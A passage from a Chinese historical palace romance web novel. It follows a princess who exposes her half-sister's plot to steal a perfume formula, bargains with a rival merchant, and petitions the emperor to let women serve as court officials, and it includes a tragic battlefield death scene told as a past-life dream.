不经意间，魏修洵恰好与少女的目光相撞，魏修洵只觉她神色淡然，似乎早已心如死灰，看透了恩怨浮沉。
“晋安侯，孤素闻你用兵如神，在军中颇有威名，曾有不少他国名将败于你手。”默沙抬头望着魏修洵，眼神阴狠。
默沙随即勾了勾唇，用弯刀挑起身前少女的下巴，笑容轻蔑：“只是今日不同了，你们的长公主殿下如今在孤的手里，你难道要对皇室血脉见死不救吗？”
魏修洵压抑着内心的情绪，神色不变，使了个眼色。他早已想好，只要昨日安插的人手派上用场，默沙一死，西察大军溃败，他便可趁机救出她。
只是他不曾想到，她早已视死如归，抬手便将一只凤凰六珠金步摇毫不犹豫地刺入自己的脖颈。
噗嗤一声，似脆纸被撕裂的声响，他亲眼看见鲜血自白皙的颈部迸出，红衣染血，远远望去分不清哪一处是血迹。
她径直倒了下去。
那一刻，孤身临近生命的尽头，魏修洵不知她在想什么，只见她勾了勾唇，眼角却有泪水无声滑落，仿佛心中释怀。
她的身体微微蜷缩，在无垠的旷野之中显得格外渺小，格外脆弱。
默沙眼神惊恐，下意识地要去抓已然倒下的少女的肩膀，魏修洵随即夺过长青手中的强弓，拉弓至满月，随即松手，羽箭飞射而出，直直射入默沙要害。
默沙痛苦地握着胸口，口吐鲜血，模样狼狈。
见主帅负伤，西察军队顿时大乱。魏修洵下令进攻，踏马狂奔而去，手持长枪将她周围的西察士兵斩杀在地，然后俯身将她抱在怀里。
“晋安侯……”默沙倒在地上，因为失血过多声音微弱，却依旧声嘶力竭。
魏修洵双眸沁血，眼底杀气弥漫。
他一手将双手微凉的她护在怀里，一手挥动长枪直直刺入默沙的心脏，枪头没入鲜血淋漓的伤口一寸，默沙痛苦地惨叫，他却依旧没有停下，直到枪头贯穿默沙后背而出。
“这一枪，是为了她。”
默沙大口大口地吐着鲜血，因为极致的痛苦身体剧烈抽搐。
魏修洵眼神狠辣，随即将长枪拔出，默沙便瘫倒在地上，双目微闭，却已气息全无。
西察王默沙一死，西察军群龙无首，顿时溃散，魏修洵率军将其包围，西察军死伤无数，平原之上尸横遍野。
此战之后，西察国力衰退，自愿臣服，世间再无西察。
“主君，天色已晚，不如先回营帐吧。”
长青见魏修洵背对着自己，戎衣染血，长枪在侧，他将面色如纸，浑身是血的少女紧紧抱在怀里，背影里添了几分苍凉。
魏修洵不曾转身，良久缓缓开口，声音格外平静：“长青，你先回去吧，我想一个人静静。”
长青素来知晓自家主君对长公主的心意，此次出了意外不曾如计划般救出长公主，主君心中定然不好受。是以他想要开口，却不知如何开口，只是立在原地。
魏修洵不见背后有脚步声传来，便知长青还未离去。
“军令如山。”
“不可违背！属下告退。”几乎是本能的反应，长青掷地有声，随即回头看了两眼，转身离去。
此时战场已经被清理干净，旷野上几乎不见人烟，只剩挂在天边的残阳将落未落，不远处可见一处陡峭的
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悬崖。
他抱着早已失去气息的少女，一步步朝着悬崖走去。他的动作从始至终都极为小心，好像生怕弄疼了她似的。
“殿下，我想你定是不喜欢这儿的，但我只能送你到这儿了。”
魏修洵坐在悬崖边上，小心地抚着少女的后脑勺，让她安然地靠在自己的肩膀。
浸满了鲜血的红衣轻落在他的戎装上，似沙漠中倔强盛放的蔓珠莎华，美得明艳，极致，却又被笼上了几分淡淡的忧伤。
魏修洵垂眸，伸手替她擦拭脸颊上的血迹，轻柔地将额前染了血迹脏｜污的碎发整理到耳后，望着如婴儿般静卧着的少女，眼神动情。
“我猜殿下或许会怪我。”
“若是我能早些表明我的心意，早些回京城，或许殿下就不会被送上这条不归路。”
深红的光晕落入男人的眉间，他好似冷面阎罗，眼底布满血丝，令人望而生畏，却唯独将仅有的一点温柔献给了她。
他解下一身是血的戎装，将其叠放整齐摆放在身侧，只着一件深红的武装衣，背影单薄。
“从前殿下与我说，不要做任人欺负的人，我一度曾当殿下忘了，原来殿下没忘。”
魏修洵偏过头去望着靠在自己肩上的少女，浅浅勾唇，怅然一笑。
“殿下本该是天上的鸟儿，无拘无束，不该囚于一处。”
“若真有来世，我只愿殿下一生顺遂，无病无忧。”魏修洵垂眸，缓缓开口，声音逐渐低沉下去，“我能护你一世周全，夜夜好梦。”
男人勾了勾唇，随即从少女手中取过那只沾满了她干涸鲜血的凤凰六珠嵌丝金步摇，直直刺入自己的胸膛。
深红的武装衣逐渐晕染了片片血迹，他却忍耐着不曾皱眉，只是静静地望着身旁的少女，握住了她的手腕，俯身在她的额间落下一个极轻的吻。
这一日，西察的秋刺骨的冷，她倒在他怀里尸骨渐凉。
残阳似血，不照归途。
这一日从望原山回宫后，尚容觉身体疲惫，很早便睡下了。这一夜，她浑浑噩噩地做了很长的一梦。
她梦见了那个秋日，她将金步摇刺入自己的脖颈，却也梦见了魏修洵杀死了默沙，大战告捷，却抱着她坐在悬崖边上，同样用那支金步摇了断了生命。
她曾想过许多种可能，但唯独没有猜到这一种结局。
睡梦中，她想逼迫自己醒来，但那其中的一切都是那么真实：猎猎的狂风，扑面而来的血腥气，额间残余的几分温度，还有……萦绕在耳畔的，他的声音。
好似冥冥之中自有天意，想让她得知他前世的结局。
“殿下。”
尚容微微蹙眉。
“殿下你怎么了？是不是那里不舒服？”
翠桃见尚容眉头紧锁，额间沁满了汗珠，唇色雪白，一着急便伸手去握尚容的手腕，反被尚容握住。
尚容顿时惊醒，掀开眼帘见翠桃一副急得快要哭出来的模样，长舒了一口气笑容释然。
“没事了，不过是一场梦，都过去了。”
33. 敌为友
“殿下……”
翠桃内心担忧，伸手感受了一下自己额间的温度，随即去抚尚容的额头，见尚容无事才松了一口气，神色委屈：“殿下，您吓死奴婢了。”
尚容浅笑着握住翠桃的手：“是我让你担心了。”
“奴婢伺候您更衣梳妆。”
“好。”
翠桃替尚容换上衣裳，正替她盘好素来喜爱的朝云近香髻，便见韶淳快步走了进来。
尚容察觉到韶淳神色严肃，抬眸问道：“怎么了？”
“殿下之前让属下盯着二公主，属下果然发现二公主最近与一个宫外的妇人交往甚密，调查后得知此人名曰如秀，竟是梅兰轩这段时间新来的女工，此人这些日子似乎对新品的配方格外感兴趣。”韶淳回答道。
尚容垂首把玩着手中的金玉发簪，微微挑眉，唇角流露出一丝轻蔑。
“本宫还以为这三个月的禁闭把她关得聪明了些……却没想到还是被恨意冲昏头脑，做事毛手毛脚。”
“先不必打草惊蛇，你替本宫给落霜传个话。”
尚容让韶淳凑近了些，在其耳畔细声耳语，韶淳微微颔首，随即离去。
“殿下，您都和韶淳说了些什么？”翠桃将一杯沏好的新茶递到尚容手中，问道。
尚容将盛满清澄茶汤的玉杯送到唇边浅抿了一口，神色清闲，朱唇微启：“静候片刻，请君入瓮。”
一日后。
“殿下，属下跟踪如秀，发现她今日清晨去了天香阁，却迟迟不曾出来，有人说是被天香阁阁主沈奇盛抓起来了。”
尚容缓缓起身，勾了勾唇：“走吧，去一趟天香阁。”
“是。”
天香阁总部位于雀云街对面的九洲路，同样地处闹市，人流密集。天香阁一度曾是京城的第一香楼，在京城共有三处分店，只是自从梅兰轩开业后，天香阁的生意一日不如一日，前几日还传出其中一家分店将要出售的消息。
在这个节骨眼上，单凭如秀的承诺自是不够的，想必是尚音早就露过面才令沈奇盛甘愿冒着巨大的风险答应做这笔交易。
只不过此时，恐怕着沈奇盛早已恼羞成怒。尚容心想。
马车在天香阁门口缓缓停下，翠桃扶着尚容下了马车，走入了天香阁的大门。
素来人满为患的天香阁总部此时人丁稀少，放眼望去顾客寥寥，倒是有不少员工靠在墙边闲聊。
是以尚容进入，顿时吸引了不少目光。
此时天香阁外亦有不少人驻足，其中大多数人是在梅兰轩的新品发布那日见过尚容一面的，见尚容踏入天香阁，都忍不住窃窃私语起来。
“这梅兰轩和天香阁素来不对付，今日长公主怎么亲自到天香阁来了？买菜的中年妇女忍不住发问。
“谁知道呢？你看这天香阁过去做龙头老大，现在还不是见不到几个人？我看今日啊，是有好戏看咯！”一旁的光头一边说一边磕着手里的瓜子，一副看热闹的模样。
尚容在阁中随意看了看几种出售的香品，没过多久一个掌柜打扮的中年男人就笑着迎了上来。
“长公主殿下来我们天香阁，真是令我们阁中上下蓬荜生辉啊！”天香阁掌柜连忙笑道，随即顿了一顿，声音沉了下去，“不知长公主今日来是为了……”
尚容浅笑着勾了勾唇：“本宫今日来是为了见见沈老板，有些话，有些误会还是当着沈老板的面说比较好。”
“这……”天香阁掌柜微微一愣，神色似是有些为难。
尚容似是料到对方作此反应，神色平静，嫣然一笑：“本宫铺子里有位女工名唤如秀，今日本是她当值，今早却有人看见她走入了天香阁，到现在还不曾回去，本宫便想来寻寻，看看是这么一回事。”
声声入耳，天香阁掌柜只觉后背一阵发凉。分明已然入冬，寒风渗着几分凉意，他的额间却顿时沁满了汗珠。
他微微抬眸，似是看到了什么，长吸了一口气恢复了往日神色：“既如此，殿下请上楼。”
“劳烦掌柜的了。”
尚容微微颔首，随即在掌柜的带领下走到了二楼的一件房间门外。
“小的便先去忙了，殿下请。”
尚容浅笑，随即推门而入，房间内金玉满堂，极尽奢华，沈奇盛身着蟹青绸织金长袍坐在红木桌前，此时正转过身来望着自己。
沈奇盛见面前少女身着水蓝滚边百合纹凤尾裙，长裙外披着一件雪狐皮披风，白皙微尖的下巴半埋在披风里，显得整个人很是娇俏可人，却又自带三分养出来的雍容。
“沈某不知长公主殿下亲临，有失远迎，望殿下恕罪。”
沈奇盛缓缓起身，浅笑着向尚容欠身行礼。
尚容嘴角轻勾，抿唇一笑：“本就是本宫不请自来，沈老板不必多礼。今日本宫来此是为了找一位名叫如秀的女工，不知沈老板可知她在何处？”
“殿下说的这名女工沈某确实见过，只不过她得罪了沈某，沈某也算是有些声名，若是轻易放她走了又置沈某于何地？”
沈奇盛声音低沉，谈吐之间流露出几分老道。
尚容勾了勾唇，明知故问：“那不知她何处得罪了沈老板？”
沈奇盛微微皱眉，默声不语。
尚容早就猜到沈奇盛作此反应，若是他亲口说出背后真相，纵然如秀背后之人是尚音，也等于坐实了天香阁意欲窃取梅兰轩配方一事，传出去自然对天香阁名声有损。
“本宫知晓沈老板是个一心做生意的人，断不会私下里做一些有损声名之事，想来也是受人蒙蔽，不得已而为之。”
尚容微微抬眸，对上沈奇盛的目光，浅浅一笑：“此人放在沈老板手中终究是个祸害，杀不得放不得，不如交到本宫手里，各取其利如何？”
“各取其利？”沈奇盛微微一愣，随即冷笑，“殿下说得容易，沈某将人交出又能拿到什么好处？”
果然是生意人，此时还不忘记多贪些好处。尚容心想。
见对方并不
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相让，尚容转身在一旁的太师椅上入座，神色熠熠：“既然如此，本宫便明人不说暗话。此事若公开于众，于本宫而言最多是失察，并不要紧，但对于沈老板而言可就有些棘手了。”
沈奇盛顿时面色铁青，右手逐渐攥紧。
“若是沈老板交出如秀，人我自会处理，也不会损害天香阁的名声。况且，天香阁与梅兰轩共处京都，沈老板日后与本宫也是抬头不见低头见的，本宫也想和沈老板交个朋友。”
尚容此言似是出乎沈奇盛预料，他微微抬眸，神色警觉，语气却较之前缓和了不少：“殿下想怎么交朋友？”
“宫中的宫宴素来都要用到许多香料，往日都是天香阁供应的，只是今年父皇倒是有意来问本宫，若是沈老板想交朋友，本宫愿意让出四成，梅兰轩六天香阁四，大家一起赚钱，不知沈老板意下如何？”
沈奇盛纵然自大，却也明白尚容毕竟是皇室血脉，更别提这段时日在纪阳立了大功，颇受重用，在宫中的面子自然比他一介商人要吃得开些。
若是尚容不提，今年宫宴上所需的香料便是全部由梅兰轩供应，他天香阁捞不到一分油水。而如今虽是四六分成，这四成却也抵得上这一年不景气的收入了，诚意确实不小。
但他还有一事不明。
沈奇盛拂了拂衣袖，与尚容对视：“不知殿下为何要与沈某交这个朋友？”
尚容勾唇一笑，荣曜秋菊：“沈老板早年也是白手起家，令本宫钦佩。说起来，本宫初来乍到，多一个敌人，自然不如多一个朋友，此事若成想来日后沈老板自也会念着本宫的好，不会再受人蛊惑，互利共赢方是长久之道。”
“沈老板放心，日后若有宫中贵人要用香料，梅兰轩供应不上的本宫自会介绍给沈老板。”
沈奇盛不曾想到，这长公主看着年纪轻轻，在为人处事上的领悟倒是比他还通透几分，心中城府亦极深，不是那二公主能比得上的，此人的厉害他今日算是见识到了。
只不过这样的人，与其成为敌人不如成为朋友。此时她既然愿意退一步给他台阶，他也断然没有不下的道理。
沈奇盛随即颔首，怅然一笑：“殿下既然这般有诚意，沈某自然愿意和殿下交这个朋友，人我即刻送还，日后殿下若有需要沈某的地方，沈某义不容辞。”
言罢沈奇盛挥了挥手，手下人便推门而出。
“沈老板爽快，若无事本宫便告辞了。”尚容眉眼轻扬。
“殿下慢走。”
尚容转身下楼，见韶淳已然带着一个年轻女子上了马车。
尚容掀开车帘，见面前女子身着细布窄袖长裙，发髻散乱，露出的一截皓腕上伤痕累累，缀着的翡翠手镯的成色倒是不错。
“你便是如秀吧？”
如秀见到尚容面色苍白，身体微微发颤，她不敢对上尚容的眼睛，下意识地移开目光。
“看来本宫这个妹妹确实是给了你不少好处，让你不惜冒着被打死的风险替她做事。”
34. 断退路
声声入耳，如秀似是意识到什么，双目微红：“奴家不知殿下在说些怎么，都是奴家自己一时起了贼心，与旁人无关。”
尚容见如秀言罢神色有些不对，果然下一刻她便用尽气力挣扎想要跳出车去求死，却被韶淳硬生生按下。
欲寻死不成，如秀顿时面色惨白如纸，一双眼眸了无生气。
见如秀这般反应，尚容心中顿时明了了几分，缓缓开口，声音微沉：“可是二公主威胁于你？”
如秀垂首，默不作声，抚在裙摆上的右手却微微攥紧，将布料蹂｜躏出了些许令人难以忽视的褶皱。
“如秀，你可想好了，若你本性纯良，真的受制于人才行此事本宫可以帮你。但若你执迷不悟，你应该料到最后的下场，若你不在了，难保她不会一道杀人灭口。”
尚容见如秀身体忍不住颤抖，鼓起勇气缓缓抬眸，眼眸含泪：“殿下……奴家也是没有办法……二公主带走了奴家的母亲……说要是奴家不从……就……”
“韶淳。”尚容朱唇微启。
“属下在！”
“带人去查查尚音几个亲信的行踪，把人带回来。”
韶淳双手抱拳，声音干脆：“属下定不辱命！”
尚容颔首，随即目光落在如秀的身上，道：“事已至此，你随我去见见本宫这个妹妹吧。”
“殿下宽厚，奴家自是愿意为殿下效力，只是奴家人微言轻，怕是……”如秀神色紧张，薄唇紧抿，似是有些为难。
尚容自然明白她心中顾虑，只是一切都在她意料之中。
她勾了勾唇，笑容意味深长：“你不用担心，届时实话实说便好。”
如秀听罢长舒了一口气：“好，奴家相信殿下。”
待尚容回宫之后，就直往清荷宫而去，届时尚音的贴身丫鬟碧倩正带人在院中浇花，抬眸望见尚容便上前挤出一丝笑意。
“长公主殿下……”碧倩的目光逐渐落在尚容身后的低着头的如秀身上，一时眼神惊慌，手足无措。
“怎么了？”尚容见碧倩如此反应，勾了勾唇。
碧倩也知自己差点露馅，连忙摇头笑道：“没什么，只是不知殿下前来，殿下请。”
碧倩引着尚容入了主殿，尚容透过一扇云母刻花鎏金立屏隐隐望见尚音正靠在软榻上小憩，听闻这处声响缓缓起身。
“碧倩，院中的花这么快便打理好了？”
碧倩连忙开口：“殿下，长公主来了。”
尚容见尚音神色微变，但还是按捺住心头的情绪笑着迎了上来。
“今日长姐怎么有空来妹妹这儿了？”
尚容朱唇轻抿，对上尚容的目光，微微侧身，眼神意味深长：“今日本宫遇见一个人，想来二妹定想见见。”
不知为何，尚音心觉有几分不妙，但还是问道：“哦？是什么人？”
尚容轻轻拍手，如秀便从立屏后走出。顿时，尚音死死地盯着面前的女子，嘴角不自觉地微微抽动，就连自然垂落的右手都逐渐攥紧。
“奴家如秀，见过二公主殿下。”
“看二妹这副模样，本宫倒也放心自己没有带错人。”尚容唇角泛着几分笑意，走到尚音耳畔柔声道。
尚音心下慌乱，却也知纵然手下出错，但单凭空口白话还难以令人信服，于是长吸了一口气缓和心绪：“不知长姐这是何意？二妹之前可从未见过此人。”
尚容早就料到尚音不会如此轻易地承认，是以神色依旧云淡风轻，勾唇浅笑。
“那便最好了，二妹。别看此人看着面善，却也是个胆大包天的人。她在本宫的梅兰轩做工，今早却偷了秘方去投效天香阁，只可惜本宫早有察觉。”
“竟有这等事，如今多事之秋长姐在外可得小心了。”
尚容望着尚音嘴角微微上扬：“只是本宫有一事不明。二妹说她一个小小女工，若无人授意，会有这么大的胆子背叛自己的东家，行此等事吗？”
尚音眉头微蹙，强忍道：“或许……真是她胆大包天，长姐想多了。”
此时一旁的如秀再也按捺不住，双腿发软，啪地一下跪倒在地，字字掷地有声：“长公主殿下，是二公主以奴家的母亲胁迫奴家，不然奴家是绝没有胆子的啊！还请殿下明查！”
尚音本以为拿住了如秀的软肋谅她也不敢多嘴，却不成想她竟真有胆子，气得脸色涨红，抬手直指如秀：“你这个贱人，好大的胆子竟敢污蔑本宫！”
言罢尚容瞥见尚音给一旁的碧倩使了个颜色，碧倩小步退了出去。
尚容勾了勾唇，言语意味深长：“二妹别急，本宫素来相信身正不怕影子斜。倘若真没做过，谣言自然不攻自破，若是做过，那定然也逃不过。”
尚音此时听出尚容话里有话，有些慌神。此时尚容余光瞥见尚音右手食指指尖染了一小块深棕色的污渍，伸手去握尚音的手腕。
“二妹手上棕黑色的污渍是这么弄的？本宫瞧着倒像是被染了色。”
尚音陡然低头，随即将右手缩回衣袖，笑道：“许是不小心弄到了墨汁。”
“是吗？”尚容唇角轻勾，步步逼近，“只是本宫记得宫里用的墨汁都是上好的石墨，成色皆是纯正的黑色，纵然不小心染上也断不会呈现此般色泽。”
尚音眉头微微蹙起，默不作声。
“本宫前几日倒是命手下人特制了一批香囊，香囊的布料在加工时浸染了青皮核桃的汁液，一旦有人接触，便会染上深棕色污渍，且几日内难以洗净。”
尚容转身握住如秀的右手手腕，如秀右手指尖的深棕色污渍顿时展露无疑。
“如秀手上染色，是因为接触了装了被替换的女子防身香香料的香囊，那二妹指尖的颜色又作何解释？”
尚容冷笑，眼底压迫感尽显：“如秀要入宫并不容易，一路上想必遇见过不少人，但凡本宫一一询问不难找到人证。至于物证……”
“便是二妹指尖的颜色，还有宫殿香炉内由于特殊材质尚未燃尽的香囊布料，二妹如今还有何话要说？”<
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尚音顿时明白自己想要全身而退绝无可能，便也不再演姐妹情深那一套，干脆撕破脸皮，双目殷红，声音沙哑：“既然你都知道了，那你今日来做什么？等着看我的下场吗？还是要逼我？”
“逼你？”尚容唇边渗着几分似有若无的笑意，“本宫何时逼过你？”
“是你……害死了我母妃，如今在我面前装什么好人？”
尚音双手攥紧，眼睛死死盯着尚容，如临大敌。
声声入耳，尚容忍不住笑出声来：“是我害死的你母妃？”
“谋害皇嗣，滥杀无辜，这桩桩件件都是你那个菩萨心肠的母妃做的，都是死罪！”
尚容声音逐渐低沉，字字句句却都掷地有声：“她做这些事的时候，就该料到会有这么一天！难道这些事都是本宫逼她做的吗？”
“你……”尚音一时语塞，脸色涨红。
尚容丝毫不给尚音半分退路，上前一步死死攥住她的手腕，眼神冷若冰霜：“你别忘了，是她当日想把事情推到我身上。这些年，我想你不会不知她在我身上安的是什么心思……”
尚音想要挣脱，却挣脱不开，一时觉得后背发凉，唇色惨白。
“她一步步让我成为一个软弱无能，人人提之生厌的废人，好衬托你这个亲生女儿的出类拔萃，果真是打得一手好算盘。”
尚容自嘲一笑，强迫尚音与自己对视：“可我当时也不过只是四岁幼童，刚刚丧母，她正得圣宠，我对她而言并无威胁，可她还是这样揪着我不放，若我还是执迷不悟，才是真的蠢。”
声声入耳，尚音顿时有些心虚，额间沁满了汗珠，声音显然没了方才的底气：“你与我讲这些……你想……做什么？”
尚容松手，怅然一笑，朱唇微启：“你恨我，我丝毫不在意，只是想告诉你你的把柄在我手里，若你安分守己，此事就此揭过，可若你再生害人之心，我绝不会手下留情，那时我要你的命就如同捏死一只蚂蚁那般简单。”
尚音一时微微愣住，待思绪回笼反笑：“你会这么轻易放过我？”
尚容转身，淡淡道：“不是所有人都和你与你母亲一样，一心只想着害人。”
待尚容迈出清荷殿，一旁的翠桃忍不住多问：“殿下，您真的打算就这么放过二公主？此次算得上是千载难逢的机会啊！”
尚容侧身浅笑，眉头舒展，容貌灼若芙蕖。观之分明是少女清丽明艳的模样，言语间却尽显老成。
“按照本宫那个父皇的脾性，单是今日之罪，他念在旧情顶多再关一段时间的禁闭，暂时还要不了尚音的命。与其放任这个麻烦日后随意蹦跶，倒不如一次做绝，让她不敢再犯。”
翠桃恍然大悟：“原来是这样，殿下果然高明。”
“对了，从纪阳带过来的人苗姑娘看得如何了？”尚容问道。
“人已经到了苗姑娘手中，这两日倒是没有什么消息。”翠桃回想道。
“随本宫去看看。”
“是。”
35. 相思子
翠桃引着尚容来到了苗月一行人所在的小院，尚容见长青一身玄衣守在厢房外，房内隐隐传来男人断断续续的嘶吼声。
尚容推门而入，见床榻上男人双目泛白，早已失去正常的意识。他浑身剧烈颤抖，拼尽力气起身，下一秒苗月将银针刺入他的脖颈，男人这才放弃挣扎倒了下去，双目禁闭。
薛芝守在一旁，早已泣不成声。几日不见，尚容见她瘦削了不少，原本带着几分婴儿肥的脸颊微微凹陷，看着格外憔悴，好似变了一个人。
尚容微微侧身见魏修洵靠在一旁，同样眉头紧蹙。
“殿下来了。”苗月起身望见尚容，浅浅行礼。
尚容心头顿时也添了几分压抑，朱唇微启：“苗姑娘，人如何了？”
苗月将手中银针插入针包，语气凝重：“回殿下，前几日我对症下药，按理说已经好了不少，只是这两日病情愈发严重了，他的身体好像越来越不受控制。”
“这种改良过的金蚕蛊我从前也不曾接触过，如今能做的只能抑制住蛊毒的蔓延，一旦手上的白色血管蔓延到心口，只怕便不成了。其他两人的病情也与之相似。”
“前几日也有太医院的太医来看过，但都束手无策。”魏修洵道。
尚容心知若谈及对蛊毒的了解，太医院的那些人未必有苗月在行。苗月既这般说，想来此次三人染上的蛊毒的确棘手。
“不过也并非毫无机会。”
尚容思绪回笼，抬眸道：“苗姑娘，但说无妨。”
苗月微微颔首：“我曾听闻太医院的藏书阁中有一本苗疆秘录，里面详细记载了多种蛊虫，其中或许便能找到应对之法。”
事已至此，恐怕也唯有如此了。尚容道：“太医院的藏书从不外借，此事本宫来想办法。”
薛芝哽咽道：“多谢殿下。”
尚容扶着薛芝的小臂，柔声安慰：“你兄长吉人自有天相，想必会安然度过此劫。”
尚容走到魏修洵身旁，见他心事重重，道：“前几日来不及问你，魏辰泽此人你了解几分？今后打算如何应对？”
“我这位二哥素来心气高，从不在旁人面前表露心绪，想来从前大哥在时也没少推波助澜，是以绝不是个容易对付的人。以我对他的了解，他不会甘于屈居侯府二郎君的位置。”魏修洵抬眸与尚容对视，薄唇微启。
尚容见魏修洵心若明镜，心绪顿时平和了不少：“既然你心里都明白，想来也不用我多说，平日里多加小心。”
声声入耳，魏修洵唇角轻勾：“殿下放心。”
尚容启程回宫，回到琼华宫后不久便听得殿外传来细碎的声响。
此时韶淳快步入内，轻声道：“殿下，陛下来了。”
此事倒是出乎尚容的意料，她记忆里尚徽已经很长时间没有来琼华宫看她了，甚至于她的记忆也有些模糊。从前尚徽就算是要见她，也是派人唤她去御书房，今日亲临倒是难得。
尚容正想着，尚徽已然迈入殿内。尚容欠身行礼：“儿臣参见父皇。”
今日尚徽似是心情不错，唇边从始至终挂着几分笑意。他挥了挥手，道：“免礼。”
“谢父皇。”尚容起身浅笑，“父皇素来忙于朝政，今日怎么有空来容儿的琼华宫了？”
尚徽端起下人新沏好的茶杯抿了一口茶，眼底少了几分平日里的威严凌厉：“今日朕难得有空，想来好久没来你这里坐坐了，便来看看你。”
尚容勾唇一笑，侧身命翠桃去取些饱腹的糕点。
尚徽很久没有像今日这般与自己的长女平心静气地好好谈谈了，今日仔细一看少女正值妙龄，容貌灼若芙蕖，谈笑间养得几分雍容的气度，眉眼又隐隐可见故人模样，顿时欣喜。
“朕的容儿啊，真是长大了。”尚徽嘴角轻弯，“这些日朕的那些大臣们上了不少奏折，十个里有六七个都是关于你的。”
尚容微微扬眉，浅笑：“父皇莫不是在拿容儿打趣？”
尚徽笑着摇了摇头，神色严肃不似作伪：“他们都说自梅兰轩的女子防身香开售以来，京城内的治安稳定了不少，不少民女免受其害，这些都是你的功劳。”
尚容随即起身：“为父皇分忧是儿臣的本分，再者功劳也并非只在儿臣一人，儿臣不敢居功。”
尚徽见尚容这副受宠若惊的反应，心中微怔，更因多年亏欠勾起几分难得的愧疚。他上前扶起女儿，轻笑道：“这里没有旁人，只有你我父女二人，不必多礼。”
“谢父皇。”
“此次你的功劳朕要好好赏你，说来公主府的选址选得如何了？”
尚容微微颔首：“雀云路东侧的一处宅院儿臣瞧着不错，离梅兰轩也不过半柱香路程，儿臣便想定在那儿。”
尚徽勾唇：“的确不错，朕便依你。容儿，这次你还想要什么赏赐？”
尚容陡然起身，深深鞠躬行礼，眉眼坚毅：“这一次，儿臣斗胆想替天下女子讨一个赏赐。”
“哦？”尚徽眉心微挑，眸色渐沉，却不见愠色，只是上前将尚容扶起，“你这么说朕倒更想听听你要替她们讨什么赏赐。”
尚容直起身来，缓缓开口：“无论是在纪阳，还是在京都儿臣都遇见过不少颇有本领的女子，只是碍于世俗之见无法一展抱负，所以儿臣想提议女官入朝，让她们能有一处安身，也能各展所长有功于社稷，替父皇分忧。”
尚徽手握杯盏，低眉深思，神色不怒不喜，令人猜不透其心中所想。
良久，尚徽抬眸道：“容儿，你可知此事虽好，前朝却无先例，要想推行并非易事。”
“儿臣自然知晓，正因是难事，是好事，父皇若推行岂非更能向我大靖子民展现父皇宽广的胸襟和对人才的渴求？”尚容浅笑道，“若父皇准许，大可在此次春闱特设女官考场，想必定得民心。”
尚徽凤目深邃，望着尚容良久开口：“你说的有几分道理，就按你说的办，春闱的事朕会交给宫文甫，明日朕便拟定圣旨告知天下。”
“父皇英明。”
尚容起身，缓缓抬眸：“只是儿臣还有一
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事……”
尚徽抿了一口茶，声音低沉：“但说无妨。”
“父皇可还记得儿臣从纪阳带回来的三个人？”
“自然记得。”尚徽浅眯着眼。
“他们都中了南义教特制的一种金蚕蛊，太医对此都束手无策。儿臣认识一民医名唤苗月，对蛊毒颇有研究，太医院藏书阁中有藏书千万，儿臣便想若是苗月姑娘能入藏书阁翻阅书籍，或许能找到解蛊的办法。”
尚徽对此似乎并无意外，颔首道：“南义教一事的确应该伤心，此教不灭一日，朕一日不得高枕而眠，此事朕允了！”
“多谢父皇。”
是年元日之后尚容便一直在宫内研究香料不曾出宫，倒是魏修洵派人送来一些家具样式供其选择，倒替尚容省去了不少麻烦。
元日二十日后便是除夕，宫内上下一早便准备着辞旧迎新的事宜，一副喜气洋洋的景象。
这一日，尚容正抱着那把金丝楠木云纹伏羲琴走到琴桌前准备抚琴，抬眸便见韶淳从殿外走入，一副喜上眉梢的模样，忍不住笑。
“莫非我们韶淳是想到哪家郎君了才笑得这么开心？若是有喜欢的便告诉本宫，本宫定替你做主。”
韶淳顿时局促：“殿下又打趣我……”
尚容被逗笑了，垂首抚琴：“好了好了，不打趣你。你说吧，什么事？”
方才被尚容一打岔，韶淳险些忘了正事，此时思绪回笼一步步走到尚容身前，右手垂在身后，唇角笑意难以掩盖。
尚容被瞧得有些不自在，余光瞥见韶淳藏在身后的右手，微微挑眉：“那是何物？”
韶淳轻笑，随即将手中信笺递到尚容手中：“主君让我亲手交到殿下手中。”
尚容接过信笺打开翻阅，见其上字迹狂放不羁，行至深处却又添秀丽风骨，确实是出自魏修洵亲笔。
信笺上的话还算正经，大致意思便是是约她明日同游，但那信笺鼓鼓囊囊的显然还装着什么，尚容取出一看，竟是一只手串。
尚容顿时耳根微微泛红，目光落在手环上不曾移开。
若单纯只是一只普通手串便罢了，这手串的不同之处便在于是有红豆串成，中间四粒还隐隐刻了四字：两处闲愁。
红豆素来又称相思子，常被用来作为定情之物，而这两处闲愁的前一句则是……
其间深意不言而喻，怪不得韶淳方才如此反常，想来定是亲眼见到了魏修洵将手串放入信笺的过程。
尚容呼吸微乱，长长舒了一口气。此时翠桃将炖好的白粥端到桌前，望见尚容似染了烟霞的脸颊，连忙问道：“殿下是哪里不舒服吗？怎么脸这般红？”
尚容笑着摇了摇头，正准备敷衍过去，却听得对方继续问道：“诶这红豆手串是哪里来的？我之前竟不曾见殿下带过？”
这下韶淳也看不下去了，推着翠桃就往外走，将要迈出殿门似是想到了什么，回头笑道：“殿下可千万别忘了。”
待众人离去，尚容低头望着手中的红豆手串，微微出神。
36. 生辰日
除夕前日，尚容坐在梳妆台前正换上朱红软银绣花锦袍，披上云白羽缎披风，便听得殿外传来一阵细碎的脚步声，抬眸见是太后李宣。
尚容顿时有些惊讶，只因祖母冬日里素来腿脚不便，很少走动，是以今日有些反常。
“祖母您怎么亲自来了？若是有事要见容儿，命人来唤容儿去一趟慈禄宫便是。”
尚容随即上前搀扶李宣，又让翠桃添了些炭火。
李宣浅眯着眼，握着孙女的手心中很是欣慰：“哀家素来明白你的孝心，哀家这身子骨虽老了些，但还硬着呢！想看你啊随时也都能来。”
“容儿，你莫非忘了今日是什么日子？”
尚容微微愣住。
李宣弹了一下尚容的额头，眼神里不自觉地流露出几分心疼：“你素来不喜欢过生辰，旁人或许不知晓缘由，哀家却不会不知。”
尚容这才想起来今日竟是她的生辰，自她四岁那年母后崩世后，她便不喜过生辰。她虽将不喜热闹挂在嘴上，但只有她清楚自己心中所想。
与其被人遗忘地过，倒不如不给人遗忘的机会。仿佛她只要不过生辰，她就不会思及痛处，认识到自己失去母亲，又被父冷落的孤独。是以每年这个时候，祖母总会给她准备惊喜，逗她开心。
李宣望着尚容眼眶微红，从衣袖中拿出素帕拭干泪痕，强颜欢笑：“今日我们不提这个了，快看看哀家给你准备了什么。”
尚容侧过身，见翠桃端来两盒糕点。尚容小心掀开盖子，见其中糕点个个造型精致，色泽诱人，多是宫里少见的样式。
尚容顿时明了，缓缓抬眸：“这些……莫不是祖母亲手做的？”
